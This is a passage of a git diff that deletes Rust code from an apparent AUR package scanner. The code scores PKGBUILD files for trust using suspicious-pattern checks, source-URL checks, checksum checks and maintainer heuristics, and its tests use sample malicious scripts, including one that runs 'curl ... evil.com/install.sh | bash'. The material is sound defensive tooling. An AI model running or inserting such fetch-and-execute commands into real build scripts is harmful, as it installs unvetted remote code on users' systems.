TrustScore { - let mut score = 100u32; - let mut categories = Vec::new(); - let mut warnings = Vec::new(); - let mut critical_findings = Vec::new(); - - // 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script) - let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content); - categories.push(ScoreCategory { - name: "Shell-Script Sicherheit".to_string(), - score: shell_score, - weight: 0.40, - description: "Analyse von PKGBUILD als Shell-Script".to_string(), - }); - warnings.extend(shell_warnings); - critical_findings.extend(shell_critical); - score = score.saturating_sub(100 - shell_score); - - // 2. Source-URL Verifizierung - let (url_score, url_warnings) = self.analyze_source_url(source_url); - categories.push(ScoreCategory { - name: "Source-URL Vertrauen".to_string(), - score: url_score, - weight: 0.20, - description: "Prüfung der Herkunft des Source-Codes".to_string(), - }); - warnings.extend(url_warnings); - score = score.saturating_sub((100 - url_score) / 3); - - // 3. Checksum-Qualität - let (checksum_score, checksum_warnings) = self.analyze_checksums(content); - categories.push(ScoreCategory { - name: "Checksum Verifizierung".to_string(), - score: checksum_score, - weight: 0.20, - description: "Qualität und Vollständigkeit der Prüfsummen".to_string(), - }); - warnings.extend(checksum_warnings); - score = score.saturating_sub((100 - checksum_score) / 3); - - // 4. Maintainer-Heuristiken - let (maint_score, maint_warnings) = self.analyze_maintainer_info(content); - categories.push(ScoreCategory { - name: "Maintainer-Vertrauen".to_string(), - score: maint_score, - weight: 0.20, - description: "Heuristiken zum Maintainer-Account".to_string(), - }); - warnings.extend(maint_warnings); - score = score.saturating_sub((100 - maint_score) / 3); - - // Gewichteten Score berechnen - let weighted_score: f32 = categories.iter() - .map(|c| c.score as f32 * c.weight) - .sum(); - - TrustScore { - overall: weighted_score.round() as u32, - categories, - warnings, - critical_findings, - } - } - - fn analyze_shell_script(&self, content: &str) -> (u32, Vec, Vec) { - let mut score = 100u32; - let mut warnings = Vec::new(); - let mut critical = Vec::new(); - - for pattern in &self.suspicious_patterns { - if pattern.pattern.is_match(content) { - let captures: Vec<_> = pattern.pattern.find_iter(content).collect(); - - for cap in captures { - let ctx_start = cap.start().saturating_sub(30); - let ctx_end = (cap.end() + 30).min(content.len()); - let context = &content[ctx_start..ctx_end]; - let context_clean = context.replace('\n', "\\n"); - - if pattern.critical { - critical.push(CriticalFinding::RemoteCodeExecution(format!( - "{} (Kontext: ...{}...)", - pattern.description, - context_clean - ))); - score = score.saturating_sub(pattern.penalty); - } else { - warnings.push(format!( - "{}: {}", - pattern.description, - context_clean - )); - score = score.saturating_sub(pattern.penalty / 2); - } - } - } - } - - // Blocklisted Commands - for cmd_regex in &self.blocklisted_commands { - if let Some(mat) = cmd_regex.find(content) { - warnings.push(format!( - "Potentiell gefährlicher Befehl erkannt: {}", - &content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())] - )); - score = score.saturating_sub(10); - } - } - - // Prozentuale Bewertung - (score.min(100), warnings, critical) - } - - fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec) { - let mut score = 100u32; - let mut warnings = Vec::new(); - - let url = match url { - Some(u) => u, - None => { - warnings.push("Keine Source-URL gefunden".to_string()); - return (50, warnings); - } - }; - - // HTTPS check - if !url.starts_with("https://") { - warnings.push("Source-URL verwendet kein HTTPS".to_string()); - score -= 20; - } - - // Domain check - let domain = url.split('/').nth(2).unwrap_or(""); - let domain_clean = domain.strip_prefix("www.").unwrap_or(domain); - - if !self.trusted_domains.contains(domain_clean) { - warnings.push(format!( - "Domain '{}' ist nicht in der Trust-Liste", - domain_clean - )); - score -= 15; - } - - // URL Shortener / Pastebin checks - if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly") - || url.contains("t.co") || url.contains("short.link") { - warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string()); - score -= 50; - } - - (score.max(0), warnings) - } - - fn analyze_checksums(&self, content: &str) -> (u32, Vec) { - let mut score = 100u32; - let mut warnings = Vec::new(); - - // Prüfe auf SHA256/SHA512 (gut) - let has_sha256 = content.contains("sha256sums") || content.contains("sha256"); - let has_sha512 = content.contains("sha512sums") || content.contains("sha512"); - let has_md5 = content.contains("md5sums") || content.contains("md5"); - let has_skip = content.contains("SKIP") || content.contains("skip"); - - if has_sha256 || has_sha512 { - score += 10; - } - - if has_md5 && !has_sha256 && !has_sha512 { - warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string()); - score -= 30; - } - - if has_skip { - warnings.push("Checksummen werden übersprungen (SKIP)".to_string()); - score -= 40; - } - - if !has_sha256 && !has_sha512 && !has_md5 && !has_skip { - warnings.push("Keine Checksummen definiert".to_string()); - score -= 50; - } - - (score.max(0).min(100), warnings) - } - - fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec) { - // Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen - // In einer erweiterten Version würde dies die AUR-RPC API nutzen - let mut score = 80u32; // Neutral - let mut warnings = Vec::new(); - - // Prüfe auf "Contributor" vs "Maintainer" - if !content.contains("# Maintainer:") { - if content.contains("# Contributor:") { - warnings.push("Nur Contributor, kein Maintainer definiert".to_string()); - score -= 10; - } - } - - (score.max(0).min(100), warnings) - } - - /// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar) - pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore { - // Minimale Analyse basierend auf pacman -Qi Ausgabe - let mut warnings = Vec::new(); - - if pkg_info.contains("AUR") || pkg_info.contains("foreign") { - warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string()); - } - - TrustScore { - overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD - categories: vec![], - warnings, - critical_findings: vec![], - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_npm_install_detection() { - let scorer = TrustScorer::new().unwrap(); - let malicious_pkgbuild = r#" -pkgname=test-malicious -pkgver=1.0 -pkgrel=1 - -build() { - npm install atomic-lockfile -} -"#; - - let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None); - assert!(!result.critical_findings.is_empty()); - assert!(result.overall < 50); - } - - #[test] - fn test_curl_pipe_bash_detection() { - let scorer = TrustScorer::new().unwrap(); - let bad_pkgbuild = r#" -pkgname=test-bad -pkgver=1.0 - -prepare() { - curl -s https://evil.com/install.sh | bash -} -"#; - - let result = scorer.analyze_pkgbuild(bad_pkgbuild, None); - assert!(!result.critical_findings.is_empty()); - } - - #[test] - fn test_legitimate_pkgbuild() { - let scorer = TrustScorer::new().unwrap(); - let good_pkgbuild = r#" -pkgname=hello -pkgver=2.12 -pkgrel=1 -source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz) -sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517') - -build() { - cd "$pkgname-$pkgver" - ./configure --prefix=/usr - make -} -"#; - - let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz")); - assert!(result.overall > 70); - assert!(result.critical_findings.is_empty()); - } -} \ No newline at end of file diff --git a/src/utils.rs b/src/utils.rs deleted file mode 100644 index 8f77bd7..0000000 --- a/src/utils.rs +++ /dev/null @@ -1,28 +0,0 @@ -use anyhow::Result; -use serde::{Deserialize, Serialize}; -use std::path::PathBuf; - -/// Gemeinsame Utility-Funktionen -pub fn get_project_dirs() -> Result { - directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur") - .ok_or_else(|| anyhow::anyhow!("Konnte Projekt-Verzeichnisse nicht ermitteln")) -} - -/// Formatiert Bytes als menschenlesbare Größe -pub fn format_bytes(bytes: u64) -> String { - const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"]; - let mut size = bytes as f64; - let mut unit_index = 0; - - while size >= 1024.0 && unit_index < UNITS.len() - 1 { - size /= 1024.0; - unit_index += 1; - } - - format!("{:.2} {}", size, UNITS[unit_index]) -} - -/// Prüft ob ein Befehl verfügbar ist -pub fn command_exists(cmd: &str) -> bool { - which::which(cmd).is_ok() -}